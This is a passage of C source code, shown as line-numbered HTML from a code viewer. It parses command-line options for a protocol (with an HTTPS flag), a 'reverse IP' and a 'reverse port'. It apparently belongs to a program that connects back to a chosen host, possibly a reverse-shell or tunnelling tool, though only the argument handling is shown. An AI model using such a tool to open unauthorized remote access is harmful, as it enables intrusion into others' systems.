<DIV class="line number314 index313 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 2:</DIV>

<DIV class="line number315 index314 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;protocol = calloc(strlen(optarg)+1, sizeof(char));</DIV>

<DIV class="line number316 index315 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!protocol) {</DIV>

<DIV class="line number317 index316 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("calloc error (3)\n");</DIV>

<DIV class="line number318 index317 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number319 index318 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number320 index319 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(protocol, optarg, strlen(optarg)+1);</DIV>

<DIV class="line number321 index320 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!strcmp(protocol, "https"))</DIV>

<DIV class="line number322 index321 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;httpsflag=1;</DIV>

<DIV class="line number323 index322 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number324 index323 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 3:</DIV>

<DIV class="line number325 index324 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reverseip = calloc(strlen(optarg)+1, sizeof(char));</DIV>

<DIV class="line number326 index325 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!reverseip) {</DIV>

<DIV class="line number327 index326 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("calloc error (4)\n");</DIV>

<DIV class="line number328 index327 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number329 index328 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number330 index329 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(reverseip, optarg, strlen(optarg)+1);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number331 index330 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number332 index331 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 4:</DIV>

<DIV class="line number333 index332 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reverseport = atoi(optarg);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number334 index333 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reverseportstr = calloc(strlen(optarg)+1, sizeof(char));</DIV>

<DIV class="line number335 index334 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!reverseportstr) {</DIV>

<DIV class="line number336 index335 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("calloc error (5)\n");</DIV>

